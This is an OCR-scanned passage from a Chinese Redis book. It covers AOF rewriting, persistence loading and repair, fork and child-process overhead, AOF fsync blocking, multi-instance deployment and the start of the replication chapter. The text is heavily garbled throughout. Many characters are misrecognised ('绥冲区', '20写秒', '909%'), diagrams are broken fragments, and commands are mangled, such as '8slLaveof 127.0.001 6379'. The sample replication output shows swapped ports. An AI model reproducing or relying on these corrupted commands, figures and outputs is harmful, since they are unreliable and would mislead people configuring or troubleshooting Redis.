引入 AOF 重 写 机 制 压缩 文件 体积 。AOF 文 件 重 写 是 把 Redis 进 程 内 的 数据 转 
化 为 写 命 令 同步 到 新 AOF 文 件 的 过 程 。 


重 写 后 的 AOF 文 件 为 什么 可 以 变 小 ? 有 如 下 原因 : 
1) 进程 内 已 经 超时 的 数据 不 再 写 入 文件 。 


2) 旧 的 AOF 文 件 含 有 无 效 命令 ， 如 del keyl 、hdel key2、srem keys、set 
alll、set a222 等 。 重 写 使 用 进程 内 数据 直接 生成 ， 这 样 新 的 AOF 文 件 只 保 
留 最 终 数据 的 写 入 命令 。 


3) 多 条 写 命令 可 以 合并 为 一 个 ， 如 : lpush lista、l1push listb、lpush list 
c 可 以 转化 为 : lpush lista be。 为 了 防止 单条 命令 过 大 造成 客户 端 绥 冲 区 淤 
出 ， 对 于 list、set、hash、zset 等 类 型 操作 ， 以 64 个 元 素 为 界 拆 分 为 多 条 。 


AOF 重 写 降低 了 文件 占用 空间 ， 除 此 之 外 ， 男 一 个 目的 是 : 更 小 的 AOF 
文件 可 以 更 快 地 被 Redis 加 载 。 





AOF 乍 写 过 程 可 以 手动 触发 和 自动 触发 : 
:手动 触 友 :直接 调用 bgrewriteaof 命 令 。 


:自动 触发 ， 根据 auto-aof-rewrite-min-size 和 auto-aof-rewrite-percentage 参 


数 确定 和 目 动 触及 时 机 。 
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“auto-aof-rewrite-min-size: 表示 运行 AOE 重 写 时 文件 最 小 体积 ， 默 认 


为 64MB。 


"auto-aof-rewrite-percentage: 代表 当前 AOF 文 件 空间 
(aof current size) 和 上 一 次 重 写 后 AOF 文 件 空 间 (aof base size) 的 比 
值 。 


上 自动 触发 时 机 =aof current size>auto-aof-rewrite-min- 
size&& (aof current Size-aof base size) /aof base size>=auto-aof-rewrite- 


percentage 


其 中 aof current size 和 aof base size 可 以 在 info Persistence 统 计 信 息 中 查 
看 。 


当 触发 AOF 重 写 时 ， 内 部 做 了 哪些 事 呢 ? 下 面 结合 图 $-3 介 绍 它 的 运行 
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| borewriteaot 





新 AOF 文件 


图 5-3 AOF 重 写 运作 流程 


流程 说 明 : 


1) 执行 AOF 重 写 请 求 。 


如 果 当 前 进程 正在 执行 AOF 重 写 ， 请 求 不 执行 并 返回 如 下 啊 应 : 








ERR Background append only file rewriting already in progress 
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如 果 当 前 进程 正在 执行 bgsave 操 作 ， 重 写 命 令 延迟 到 bgsave 完 成 之 后 再 
执行 ， 返 回 如 下 啊 应 : 


Background append only file rewriting scheduled 





2) 父 进程 执行 fork 创 建 子 进程 ， 开 销 等 同 于 bgsave 过 程 。 


3.1) 主 进 程 fork 操 作 完 成 后 ， 继 续 啊 应 其 他 命令 。 所 有 修改 命令 依然 写 
入 AOF 绥 冲 区 并 根据 appendfsync 策 略 同步 到 硬盘 ， 保 证 原 有 AOF 机 制 正确 
性 。 


3.2) 由 于 fork 操 作 运 用 写 时 复制 技术 ， 子 进程 只 能 共享 fork 操 作 时 的 内 
存 数据 。 由 于 父 进程 依然 啊 应 命令 ，Redis 使 用 “AOF 重 写 缓冲 区 ”保存 这 部 
分 新 数据 ， 防 止 新 AOF 文 件 生 成 期 间 丢 失 这 部 分 数据 。 


4) 子 进 程 根据 内 存 快照 ， 按 照 命令 合并 规则 写 入 到 新 的 AOF 文 件 。 
次 批量 写 入 硬盘 数据 量 由 配置 aofrewrite-incremental- 人 ync 控 制 ， 默 认为 
32MB， 防 止 单 次 刷 盘 数据 过 多 造成 硬盘 阻 终 。 


5.1) 新 AOF 文 件 写 入 完成 后 ， 子 进程 发 送信 号 给 父 进程 ， 父 进程 更 新 
统计 信息 ， 具 体 见 info persistence 下 的 aof * 相 关 统 计 。 


5.2) 父 进程 把 AOF 重 写 缓冲 区 的 数据 写 入 到 新 的 AOF 文 件 。 


5.3) 使 用 新 AOF 文 件 丛 换 老 文 件 ， 完 成 AOF 重 写 。 
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5.2.5 重启 加 载 





AOF 和 RDB 文 件 都 可 以 用 于 服务 器 重启 时 的 数据 恢复 。 如 图 $-4 所 示 ， 
表示 Redis 持 久 化 文件 加 载 流程 。 


| redis 局 动 | 
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图 5-4 ”Redis 持 久 化 文件 加 载 流程 
流程 说 明 : 


1) AOF 持 久 化 开启 且 存 在 AOF 文 件 时 ， 优 先 加 载 AOF 文 件 ， 打 印 如 下 
加 法， 





* DB loaded from append only file: 5.841 seconds 





2) AOF 关 闭 或 者 AOF 文 件 不 存在 时 ， 加 载 RDB 文 件 ， 打 印 如 下 日 志 : 





* DB loaded from disk: 5.586 seconds 





3) 加 载 AOF/RDB 文 件 成 功 后 ，Redis 启 动 成 功 。 


4) AOF/RDB 文 件 存 在 错误 时 ，Redis 启 动 失败 并 打印 错误 信息 。 
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5.2.6 ”文件 校 验 





加 载 损坏 的 AOF 文 件 时 会 拒绝 局 动 ， 并 打印 如 下 日 志 : 








# Bad file format reading the append only file: make a backup of your AOF file, 
then use ./redis-check-aof --fix <filename> 


© nn 


对 于 错误 格式 的 AOF 文 件 ， 先 进行 备份 ， 然 后 采用 redis-check-aof--fix 命 
令 进 行 修复 ， 修 复 后 使 用 difEu 对 比 数据 的 差异 ， 找 出 丢失 的 数据 ， 有 些 可 
以 人 工 修改 补 全 。 








AOF 文 件 可 能 存在 结尾 不 完整 的 情况 ， 比 如 机 器 突然 掉 电 导致 AOF 尾 部 
文件 命令 写 入 不 全 。Redis 为 我 们 提供 了 aof-load-truncated 配 置 来 兼容 这 种 情 
况 ， 默 认 开启 。 加 载 AOF 时 ， 当 遇 到 此 问题 时 会 忽略 并 继续 启动 ， 同 时 打印 
如 下 警告 日 志 : 








# !!! Warning: Short read while loading the AOF file !!! 
# !!! Truncating the AOF at offset 397856725 !!! 
# AOF loaded anyway because aof-load-truncated is enabled 
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$.3 问题 定位 与 优化 


Redis 持 久 化 功能 一 直 是 影响 Redis 性 能 的 高 发 地 ， 本 节 我 们 结合 常见 的 
持久 化 问题 进行 分 析 定 位 和 优化 。 
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$.3.1 fork 操作 


当 Redis 做 RDB 或 AOF 重 写 时 ， 一 个 必 不 可 少 的 操作 就 是 执行 fork 操 作 创 
建 子 进程 ， 对 于 大 多 数 操作 系统 来 说 fork 是 个 重量 级 错误 。 虽 然 fork 创 建 的 
子 进 程 不 需要 拷贝 父 进程 的 物理 内 存 空 间 ， 但 是 会 复制 父 进程 的 空间 内 存 页 
表 。 例 如 对 于 10GB 的 Redis 进 程 ， 需 要 复制 大 约 20MB 的 内 存 页 表 ， 因 此 fork 
操作 耗 时 跟 进程 总 内 存量 息息相关 ， 如 果 使 用 虚拟 化 技术 ， 特 别 是 Xen 虚 拟 
机 ，fork 操 作 会 更 耗 时 。 














fork 耗 时 间 题 定位 ， 对 于 高 流量 的 Redis 实 例 OPS 可 达 5 万 以 上 ， 如 果 fork 
操作 耗 时 在 秒 级 别 将 拖 慢 Redis 几 万 条 命令 执行 ， 对 线 上 应 用 延迟 影响 非常 
明显 。 正 常情 况 下 fork 耗 时 应 该 是 每 GB 消耗 20 写 秒 左右 。 可 以 在 info stats 统 
计 中 查 latest_fork_usec 指 标 获取 最 近 一 次 fork 操 作 耗 时 ， 单 位 微 秒 。 


如 何 改 善 fork 操 作 的 耗 时 : 


1) 优先 使 用 物理 机 或 者 高 效 支 持 fork 操 作 的 虚拟 化 技术 ， 避 免 使 用 
Xen。 


2) 控制 Redis 实 例 最 大 可 用 内 存 ，fork 耗 时 跟 内 存量 成 正比 ， 线 上 建议 
每 个 Redis 实 例 内 存 控制 在 10GB 以 内 。 


3) 合理 配置 Linux 内 存 分 配 策略 ， 避 免 物理 内 存 不 足 导 致 fork 失 败 ， 具 
体 细节 见 12.1 节 “Linux 配 置 优化 ”。 


4) 降低 fork 操 作 的 频率 ， 如 适度 放宽 AOF 目 动 触发 时 机 ， 避 免 不 必 要 
的 全 量 复制 等 。 
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5.3.2 ”了 于 进程 开销 监控 和 优化 





子 进程 负责 AOF 或 者 RDB 文 件 的 重 写 ， 它 的 运行 过 程 主要 涉及 CPU、 内 
存 、 人 硬盘 三 部 分 的 消耗 。 


1.CPU 


“CPU 开销 分 析 。 子 进程 负责 把 进程 内 的 数据 分 批 写 入 文件 ， 这 个 过 程 
属于 CPU 密集 操作 ， 通 常 子 进程 对 单 核 CPU 利 用 率 接近 909%4. 


:CPU 消耗 优化 。Redis 是 CPU 密集 型 服务 ， 不 要 做 绑 定 单 核 CPU 操 作 。 
由 于 子 进程 非常 消耗 CPU， 会 和 父 进程 产生 单 核资 源 竞争 。 


不 要 和 其 他 CPU 密集 型 服务 部 车 在 一 起 ， 造 成 CPU 过 度 竞 争 。 





如 果 部 普 多 个 Redis 实 例 ， 尽 量 保证 同一 时 刻 只 有 一 个 子 进程 执行 重 写 
工作 ， 具 体 细 市 见 5.4 市 多 实例 部 壮 ”。 


2. 内 存 


-内存 消 耗 分 析 。 子 进程 通过 fork 操 作 产 生 ， 占 用 内 存 大 小 等 同 于 父 进 
程 ， 理 论 上 需要 两 倍 的 内 存 来 完成 持久 化 操作 ， 但 Linux 有 写 时 复制 机 制 
Ccopy-on-wriite) 。 父 子 进程 会 共 孚 相同 的 物理 内 存 页 ， 当 父 进程 处 理 写 请 
求 时 会 把 要 修改 的 页 创建 副本 ， 而 子 进程 在 fork 操 作 过 程 中 共享 整个 父 进 程 
内 存 快 照 。 


:内 存 消耗 监控 。RDB 重 写 时 ，Redis 日 志 输 出 容 如 下 : 


341 


Background saving started by pidq 7692 

DB saved on disk 

RDB: 5 MB of memory used by copy-on-write 
Background saving terminated with success 


bE 尖 











如 果 重 写 过 程 中 存在 内 存 修 改 操 作 ， 父 进程 负责 创建 所 修改 内 存 页 的 副 
本 ， 从 日 志 中 可 以 看 出 这 部 分 内 存 消耗 了 5MB， 可 以 等 价 认为 RDB 重 写 消耗 
了 5MB 的 内 存 。 


AOF 重 写 时 ，Redis 日 志 输 出 容 如 下 : 





Background append only file rewriting started by pid 8937 

AOF rewrite child asks to stop sending diffs. 

Parent agreed to stop sending diffs. Finalizing AOF... 

Concatenating 0.00 MB of AOF diff received from parent. 

SYNC append only file rewrite performed 

AOF rewrite: 53 MB of memory used by copy-on-write 

Background AOF rewrite terminated with success 

Residual parent diff successfully flushed to the rewritten AOF (1.49 MB) 
Background AOF rewrite finished successfully 








LE 区 








父 进 程 维 护 页 副本 消耗 同 RDB 重 写 过 程 类 似 ， 不 同 之 处 在 于 AOF 重 写 需 
要 AOF 重 写 绥 冲 区 ， 因 此 根据 以 上 日 志 可 以 预 估 内 存 消 耗 为 : 
$3MB+1.49MB， 也 就 是 AOF 重 写 时 子 进程 消耗 的 内 存量 。 


四 se 


编写 shell 脚 本 根据 Redis 日 志 可 快速 定位 子 进 程 重 写 期 间 内 存 过 度 消耗 
情况 。 











内 存 消 耗 优化 : 


1) 同 CPU 优 化 一 样 ， 如 果 部 团 多 个 Redis 实 例 ， 尺 量 保证 同一 时 刻 只 有 
一 个 子 进程 在 工作 。 
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2) 避免 在 大 量 写 入 时 做 子 进程 重 写 操作 ， 这 样 将 导致 父 进程 维护 大 量 
页 副本 ， 造 成 内 存 消耗 。 


Linux kernel 在 2.6.38 内 核 增 加 了 Transparent Huge Pages (THP) ， 支 持 
huge page (2MB) 的 页 分 配 ， 默 认 开启 。 当 开启 时 可 以 降低 fork 创 建 子 进程 
的 速度 ， 但 执行 fbrk 之 后 ， 如 果 开 启 THP， 复 制 页 单位 从 原来 4KB 变 为 
2MB， 会 大 幅 增加 重 写 期 间 父 进程 内 存 消耗 。 建 议 设置 “sudo echo 
never>/sys/kernel/mm/transparent hugepage/enabled” 关 闭 THP。 更 多 THP 细 节 
和 配置 见 12.1 节 Linux 配 置 优 化 ”。 








3. 便 盘 





- 便 盘 开销 分 析 。 子 进程 主要 职责 是 把 AOF 或 者 RDB 文 件 写 入 硬盘 持久 
化 。 势 必 造 成 硬盘 写 入 压力 。 根 据 Redis 重 写 AOF/RDB 的 数据 量 ， 结 合 系统 
工具 如 sar、iostat、iotop 等 ， 可 分 析出 重 写 期 间 人 硬盘 负载 情况 。 


人 硬盘 开销 优化 。 优 化 方法 如 下 : 


a) 不 要 和 其 他 高 硬盘 负载 的 服务 部 著 在 一 起 。 如 : 存储 服务 、 消 恩 队 
列 服务 等 。 


b) AOF 重 写 时 会 消耗 大 量 硬盘 IO， 可 以 开启 配置 no-appendfsync-on- 
rewrite， 默 认 关 闭 。 表 示 在 AOF 重 写 期 间 不 做 fsync 操 作 。 


c) 当 开 启 AOF 功 能 的 Redis 用 于 高 流量 写 入 场景 时 ， 如 果 使 用 普通 机 械 
人 磁盘， 写 入 吞吐 一 般 在 100MB/s 左 在 ， 这 时 Redis 实 例 的 瓶 锋 主要 在 AOF 同 步 
硬盘 上 。 


343 





d) 对 于 单机 配置 多 个 Redis 实 例 的 情况 ， 可 以 配置 不 同 实 例 分 盘存 储 
AOF 文 件 ， 分 挫 硬 盘 写 入 压力 。 


四 se 


配置 no-appendfsync-on-rewrite=yes 时 ， 在 极端 情况 下 可 能 丢失 整个 AOF 
重 写 期 间 的 数据 ， 需 要 根据 数据 安全 性 决定 是 否 配 置 。 
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5.3.3 AOF 追 加 阻塞 


当 开 启 AOF 持 久 化 时 ， 常 用 的 同步 硬盘 的 策略 是 everysec， 用 于 平衡 性 
能 和 数据 安全 性 。 对 于 这 种 方式 ，Redis 使 用 另 一 条 线程 每 秒 执行 ffync 同 步 
硬盘 。 当 系统 硬盘 资源 繁忙 时 ， 会 造成 Redis 主 线程 阻塞 ， 如 图 $-$ 所 示 。 











上 次 


J 





图 5-5 ”使 用 everysec 做 刷 盘 策略 的 流程 


阻 豆 流程 分 析 : 





1) 主线 程 负责 写 入 AOF 绥 冲 区 。 
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2) AOF 线 程 负责 每 秒 执行 一 次 同步 磁盘 操作 ， 并 记录 最 近 一 次 同步 时 
间 。 





3) 主线 程 负责 对 比 上 次 AOF 同 步 时 间 : 





如果 距 上 次 同步 成 功 时 间 在 2 秒 内 ， 主 线程 直接 返回 





如果 距 上 次 同步 成 功 时 间 超 过 2 秒 ， 主 线程 将 会 阻塞， 直到 同步 操作 完 


通过 对 AOF 阻 塞 流程 可 以 发 现 两 个 问题 : 

1 ) everysec 配 置 最 多 可 能 丢失 2 秒 数据 ， 不 是 1 秒 。 

2) 如 果 系 统 人 sync 绥 慢 ， 将 会 导致 Redis 主 线程 阻塞 影响 效率 。 
AOF 阻 塞 问题 定位 : 


1) 发 生 AOF 阴 寨 时 ，Redis 输 出 如 下 日 志 ， 用 于 记录 AOF fsync 阻 塞 导致 
拖 慢 Redis 服 务 的 行为 : 





Asynchronous AOF fsync is taking too long (disk is busy) .Writing the AOF buffe 


without waiting for fsync to complete, this may slow down Redis 








2) 每 当 发 生 AOF 妃 加 阻塞 事件 发 生 时 ， 在 info Persistence 统 计 中 ， 
aof_delayed_fsync 指 标 会 累加， 查看 这 个 指标 方便 定位 AOF 阴 塞 问题 。 


3) AOF 同 步 最 多 允许 2 秒 的 延迟 ， 当 延迟 发 生 时 说 明 硬 盘存 在 高 负载 问 
题 ， 可 以 通过 监控 工具 如 iotop， 定 位 消耗 硬盘 IO 资源 的 进程 。 


优化 AOF 追 加 阻塞 问题 主要 是 优化 系统 硬盘 负载 ， 优 化 方式 见 上 一 
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$.4 多 实例 部 署 


Redis 单 线程 架构 导致 无 法 充分 利用 CPU 多 核 特性 ， 通 常 的 做 法 是 在 一 
台 机 器 上 部 车 多 个 Redis 实 例 。 当 多 个 实例 开局 AOF 重 写 后 ， 彼 此 之 间 会 产 
生 对 CPU 和 IO 的 竞争 。 本 节 主 要 介绍 针对 这 种 场景 的 分 析 和 优化 。 





上 一 节 介 绍 了 持久 化 相关 的 子 进程 开销 。 对 于 单机 多 Redis 部 署 ， 如 果 
同一 时 刻 运行 多 个 子 进程 ， 对 当前 系统 影响 将 非常 明显 ， 因 此 需要 采用 一 种 
着 施 ， 把 子 进程 工作 进行 隔离 。Redis 在 info Persistence 中 为 我 们 提供 了 监控 
子 进程 运行 状况 的 度量 指标 ， 如 表 5-2 所 示 。 











表 5-2 ”info Persistence 片 段 度量 指标 


属性 名 属性 值 
rdb bgsave in progress bgsave 子 进程 是 否 正 在 运行 
rdb current bgsave time sec 当前 运行 bgsave 的 时 间 ，-1 表示 未 运行 
aof enabled 是 否 开启 AOF 功能 
aof rewrite in progress AOF 重 写 子 进程 是 否 正 在 运行 
aof rewrite scheduled 在 bgsave 结束 后 是 否 运 行 AOF 重 写 
aof current rewrite time sec 当前 运行 AOF 重 写 的 时 间 ，-1 表示 未 运行 
aof current size AOF 文件 当前 字 节 数 
aof base size AOF 上 次 重 写 rewrite 的 字 节 数 





我 们 基于 以 上 指标 ， 可 以 通过 外 部 程序 轮 询 控制 AOF 重 写 操 作 的 执行 ， 
整个 过 程 如 图 5-6 所 示 。 
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machine Eh 


| wt | 是 到 开启 AOF 是 否 开 局 AOF _ 是否 开 启 AOE | 
| ss redis-2 pr 
| nd = 


和 AOF 增长 率 判断 AOF 增长 车 | 


| 为 煌 AOF 增长 率 - 








| as redis-4 | 
| 2 | 为 上 AOF 是 知 完 成 


图 5-6 ” 轮 询 控制 AOF 重 写 











流程 说 明 : 
1) 外 部 程序 定时 轮 询 监 控 机 器 (machine) 上 所 有 Redis 实 例 。 


2) 对 于 开启 AOF 的 实例 ， 查 看 (aof current size- 
aof base size ) /aof base size 确 认 增 长 率 。 


3) 当 增 长 率 超过 特定 阔 值 (如 100% ) ， 执 行 bgrewriteaof 命 令 手动 触发 
当前 实例 的 AOF 重 写 。 


4) 运行 期 间 循 环 检查 aof rewrite in progress 和 


aof current rewrite _ time sec 指标 ， 直 到 AOF 重 写 结束 。 
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5) 确认 实例 AOF 重 写 完 成 后 ， 再 检查 其 他 实例 并 重复 2) ~4) 步 操作 。 
从 而 保证 机 器 内 每 个 Redis 实 例 AOF 重 写 串 行 化 执行 。 
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5.5 ”本 章 重 点 回顾 


1) Redis 提 供 了 两 种 持久 化 方式 : RDB 和 AOF。 


2) RDB 使 用 一 次 性 生成 内 存 快照 的 方式 ， 产 生 的 文件 紧凑 压缩 比 更 
高 ， 因 此 读 取 RDB 恢 复 速 度 更 快 。 由 于 每 次 生成 RDB 开 销 较 大 ， 无 法 做 到 实 
时 持久 化 ， 一 般 用 于 数据 冷 备 和 复制 传输 。 


3) save 命 令 会 阻塞 主线 程 不 建议 使 用 ，bgsave 命 令 通 过 fork 操 作 创 建 子 
进程 生成 RDB 避 免 阻 塞 。 


4) AOF 通 过 退 加 写 命令 到 文件 实现 持久 化 ， 通 过 appendfsync 参 数 可 以 
控制 实时 / 秒 级 持久 化 。 因 为 需要 不 断奶 加 写 命 令 ， 所 以 AOF 文 件 体积 逐渐 
变 大 ， 和 需要 定期 执行 重 写 操作 来 降低 文件 体积 。 


5) AOF 重 写 可 以 通过 auto-aof-rewrite-min-size 和 auto-aof-rewrite- 


percentage 人 参数 控制 自动 触发 ， 也 可 以 使 用 bgrewriteaof 命 令 手 动 触 发 。 





6) 子 进程 执行 期 间 使 用 copy-on-write 机 制 与 父 进程 共享 内 存 ， 避 免 内 
存 消 耗 翻 倍 。AOF 重 与 期 间 还 需要 维护 重 写 缓冲 区 ， 保 存 新 的 写 入 命令 避免 
数据 丢失 。 





7) 持久 化 阻塞 主线 程 场景 有 : fork 咀 塞 和 AOF 追 加 阻塞 。fork 阻 塞 时 间 
跟 内 存量 和 系统 有 关 ，AOF 追 加 阻塞 说 明 硬盘 资源 紧张 。 





8) 单机 下 部 署 多 个 实例 时 ， 为 了 防止 出 现 多 个 子 进程 执行 重 写 操作 ， 
建议 做 隔离 控制 ， 避 免 CPU 和 IO 资源 竞争 。 
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第 6 草 ”复制 





在 分 布 式 系统 中 为 了 解决 单 点 问题 ， 通 常会 把 数据 复制 多 个 副本 部 署 到 
其 他 机 器 ， 满 足 故障 恢复 和 负载 均衡 等 需求 。Redis 也 是 如 此 ， 它 为 我 们 提 
供 了 复制 功能 ， 实 现 了 相同 数据 的 多 个 Redis 副 本 。 复 制 功能 是 高 可 用 Redis 
的 基础 ， 后 面 章节 的 哨兵 和 和 集群 都 是 在 复制 的 基础 上 实现 高 可 用 的 。 复 制 也 
是 Redis 日 常 运 维 的 常见 维护 点 。 因 此 深刻 理解 复制 的 工作 原理 与 使 用 技巧 
对 我 们 日 常 开发 运 维 非常 有 帮助 。 本 章 内 容 如 下 : 








介绍 复制 的 使 用 方式 : 如 何 建立 或 断 开 复制 、 安 全 性 、 只 读 等 。 


说 明 复 制 可 支持 的 拓扑 结构 ， 以 及 每 个 拓扑 结构 的 适用 场景 。 


:分 析 复 制 的 原理 ， 包 括 : 建立 复制 、 全 量 复制 、 部 分 复制 、 心 跳 等 。 
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6.1 配置 


6.1.1 建立 复制 


参与 复制 的 Redis 实 例 划 分 为 主 节点 (master) 和 从 节点 slave) 。 默 认 
情况 下 ，Redis 都 是 主 节 点 。 每 个 从 市 点 只 能 有 一 个 主 节 反 ， 而 主 闻 点 可 以 
同时 具有 多 个 从 市 皮 。 复 制 的 数据 流 是 单 辐 的 ， 只 能 由 主 市 反复 制 到 从 市 
扩 。 配 置 复制 的 方式 有 以 下 三 种 : 








1) 在 配置 文件 中 加 入 slaveof{masterHost} {masterPort} 随 Redis 启 动 生 


2) 在 redis-server 启 动 命令 后 加 入 --slaveof{masterHost} {masterPort} 生 


3) 直接 使 用 命令 : slaveoffmasterHost fmasterPorf} 生效 。 








综 上 所 述 ，slaveof 命 令 在 使 用 时 ， 可 以 运行 期 动态 配置 ， 也 可 以 提前 写 
到 配置 文件 中 。 例 如 本 地 启动 两 个 端口 为 6379 和 6380 的 Redis 节 点 ， 在 
127.0.0.1: 6380 执 行 如 下 命令 : 





127.0.061:6380>8slLaveof 127.0.001 6379 





slaveof 配 置 都 是 在 从 节点 发 起 ， 这 时 6379 作 为 主 节点 ，6380 作 为 从 节 
点 。 复 制 关系 建立 后 执行 如 下 命令 测试 : 





127.0.0.1:6379>set hello redis 
OK 
127.0.0.1:6379>get hello 
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"redis" 
127.0.0.1:6380>get hello 
"redis" 











从 运行 结果 中 看 到 复制 已 经 工作 了 ， 针 对 主 节点 6379 的 任何 修改 都 可 以 
同步 到 从 节点 6380 中 ， 复 制 过 程 如 图 6-1 所 示 。 


- 


| 127.0.0.1:6379 | 一 | 127.0.0.1:6380 








图 6-1 Redis 主 从 节点 复制 过 程 








slaveof 本 身 是 异步 命令 ， 执 行 slaveof 命 令 时 ， 节 点 只 保存 主 节点 信息 后 
返回 ， 后 续 复 制 流程 在 节点 内 部 异步 执行 ， 具体 细 市 见 之 后 6-3 复 制 原 理 小 
节 。 主 从 节点 复制 成 功 建立 后 ， 可 以 使 用 info replication 命 令 查看 复制 相关 
状态 ， 如 下 所 示 。 





1) 主 节 点 6379 复 制 状态 信息 : 





127.0.0.1:6379>info replication 

# Replication 

role:master 

connected slaves:1 
slave0:ip=127.0.0.1,port=6379,state=online,offset=43,1ag=0 








2) 从 节点 6380 复 制 状态 信息 : 





127.0.0.1:6380>info replication 
# Replication 
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role:slave 

master host:127.0.0.1 

master port:6380 
master link status:up 
master last io seconds ago:4 
master sync in progress:0 
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6.1.2” 断 开 复 制 





slaveof 命 令 不 但 可 以 建立 复制 ， 还 可 以 在 从 节点 执行 slaveof no one 来 断 
开 与 主 节点 复制 关系 。 例 如 在 6380 节 点 上 执行 slaveof no one 来 断 开 复制 ， 如 
图 6-2 所 示 。 


Zi g 一 
127.0.0.1:6379 | 一 | 127.0.0.1:6380 | 
| | 
三 一 一 了 了 一 了 了 i 
| slaveof no one | 
Pom Cn Ce Ce Ce Ce a i ‘ 





图 6-2 ”从 节点 执行 Slaveof no one 命 令 断 开 与 主 节 点 的 复制 关系 
断 开 复制 主要 流程 : 
1) 上 断 开 与 主 节 点 复制 关系 。 


2) 从 节点 普 升 为 主 节 点 。 








从 节点 断 开 复制 后 并 不 会 抛弃 原 有 数据 ， 只 是 无 法 再 获取 主 节 点 上 的 数 
气 变 化 。 


通过 slaveof 命 令 还 可 以 实现 切 主 操 作 ， 所 谓 切 主 是 指 把 当前 从 节点 对 主 
节点 的 复制 切换 到 另 一 个 主 节点 。 执 行 slaveof{newMasterIp} 
{fnewMasterPorft 命令 即 可 ， 例 如 把 6380 节 点 从 原来 的 复制 6379 节 点 变 为 复 
制 6381 节 点 ， 如 图 6-3 所 示 。 
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| 1270016379 127.0.0.1:6379 | -| 1270:0 半 :6380 


| 


| 1270016381 127.0.0.1:6381 | slaveof 127.0.0.1:6381 ' 


图 6-3 ”从 节点 通过 slave of 切换 新 的 主 节点 


切 主 操作 流程 如 下 : 





1) 断 开 与 日 主 节点 复制 关系 。 





2) 与 新 主 节 点 建立 复制 天 系 。 
3) 删除 从 布点 当前 所 有 数据 。 
4) 对 新 主 节 点 进行 复制 操作 。 
© ,nn 


切 主 后 从 市 把 会 清空 之 前 所 有 的 数据 ， 线 上 人 工 操 作 时 小 心 slaveof 在 错 
误 的 节 反 上 执行 或 者 指 癌 错误 的 主 市 反 。 
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6.1.3 ”安全 性 


对 于 数据 比较 重要 的 节点 ， 主 节点 会 通过 设置 requirepass 参 数 进行 密码 
验证 ， 这 时 所 有 的 客户 端 访 问 必 须 使 用 auth 命 令 实行 校 验 。 从 节点 与 主 节 点 
的 复制 连接 是 通过 一 个 特殊 标识 的 客户 端 来 完成 ， 因 此 需要 配置 从 节点 的 
masterauth 参 数 与 主 市 皮 密 人 码 保持 一 至， 这 样 从 节点 才 可 以 正确 地 连接 到 主 
节点 并 发 起 复制 流程 。 
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6.1.4 只 读 


默认 情况 下 ， 从 节点 使 用 slave-read-only=yes 配 置 为 只 读 模 式 。 由 于 复 
制 只 能 从 主 节点 到 从 节点 ， 对 于 从 市 点 的 任何 修改 主 节点 都 无 法 感知 ， 修 改 
节点 会 造成 主 从 数据 不 一 致 。 因 此 建议 线 上 不 要 修改 从 节点 的 只 读 模 式 。 
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6.1.$ 传输 延迟 





主 从 节点 一 般 部 署 在 不 同 机 器 上 上， 复制 时 的 网 络 延 迟 就 成 为 需要 考虑 的 
问题 ，Redis 为 我 们 提供 了 repl-disable-tcp-nodelay 参 数 用 于 控制 是 否 关闭 
TCP NODELAY， 默 认 关 闭 ， 说 明 如 下 : 


当头 财 时 ， 主 节点 产生 的 命令 数据 无 论 大 小 都 会 及 时 地 发 送 给 从 节 
点 ， 这 样 主 从 之 间 延 迟 会 变 小 ， 但 增加 了 网 络 融 宽 的 消耗 。 适 用 于 主 从 之 间 
的 网 络 环境 展 好 的 场景 ， 如 同 机 架 或 同 机 房 部 署 。 





` 当 开启 时 ， 主 节 扣 会 合并 较 小 的 TCP 数 据 包 从 而 节省 带宽 。 默 认 发 送 
时 间 间 隔 取 决 于 Linux 的 内 核 ， 一 般 上 默认 为 40 腌 秒 。 这 种 配置 证 省 了 带 冤 但 
增 大 主 从 之 间 的 延迟 。 适 用 于 主 从 网 络 环境 复杂 或 带宽 紧张 的 场景 ， 如 器 机 
房 部 普 。 


四 se 


部 普 主 从 节点 时 需要 考虑 网 络 延迟 、 带 宽 使 用 率 、 防 灾 级 别 等 因素 ， 如 
要 求 低 延 氏 时 ， 建 议 同 机 架 或 同 机 房 部 署 并 关闭 repl-disable-tcp-nodelay; 如 
果 考 虑 高 容 灾 性 ， 可 以 同城 跨 机 房 部 署 并 开启 repl-disable-tcp-nodelay。 
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6.2 ”拓扑 





Redis 的 复制 拓扑 结构 可 以 文 持 单 层 或 多 层 复制 关系 ， 根 据 拓 扑 复杂 性 
可 以 分 为 以 下 三 种 : 一 主 一 从 、 一 主 多 从 、 树 状 主 从 结构 ， 下 面 分 别 介绍 。 





1. 一 主 一 从 结构 


一 主 一 从 结构 是 最 简单 的 复制 拓扑 结构 ， 用 于 主 节点 出 现 宕 机 时 从 节点 
提供 故 隐 转移 文 持 〈 如 图 6-4 所 示 ) 。 当 应 用 写 命令 并 发 量 较 高 且 需 要 持久 
化 时 ， 可 以 只 在 从 节点 上 开局 AOF， 这 样 既 保证 数据 安全 性 同时 也 避免 了 持 
久 化 对 主 节点 的 性 能 干扰 。 但 需要 注音 的 是 ， 当 主 节点 关闭 持久 化 功能 时 ， 
如 果 主 节点 脱 机 要 避免 自动 重 局 操作 。 因 为 主 节 点 之 前 没有 开局 持久 化 功能 
自动 重 局 后 数据 集 为 空 ， 这 时 从 节点 如 果 继 续 复 制 主 节点 会 导致 从 节点 数据 
也 被 清空 的 情况 ， 丧 失 了 持久 化 的 意义 。 安 全 的 做 法 是 在 从 节点 上 执行 
slaveof no one 断 开 与 主 市 点 的 复制 和 关系， 再 重启 主 节 点 从 而 避免 这 一 问题 。 


redis-A | 

















| redis-B | 
图 6-4 一 主 一 从 结构 


2 一 主 多 从 结构 
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一 主 多 从 结构 ( 义 称 为 星 形 拓扑 结构 使 得 应 用 端 可 以 利用 多 个 从 市 后 
实现 读 写 分 离 〈 见 图 6-5) 。 对 于 读 占 比较 大 的 场景 ， 可 以 把 读 命令 发 送 到 
从 节点 来 分 担 主 贡 点 压力 。 同 时 在 日 党 开发 中 如 果 需 要 执行 一 些 比较 耗 时 的 
读 命 令 ， 如 : keys、sort 等 ， 可 以 在 其 中 一 人 台 从 节点 上 执行 ， 防 止 慢 碍 询 对 
主 节 点 造成 阻 守 从 而 影响 线 上 服务 的 稳定 性 。 对 于 写 并 发 量 较 遍 的 场景 ， 多 
个 从 节点 会 导致 主 贡 氮 写 命令 的 多 次 发 送 从 而 过 度 消 耗 网 络 带宽 ， 同 时 也 加 
重 了 主 贡 点 的 负载 影响 服务 稳定 性 。 


| redis-A | QQ | redis-E | 


> 


| redis-B | | redis-C | | redis-D | 


图 6-5 一 主 多 从 ( 星 形 ) 结构 














3. 树 状 主 从 结构 





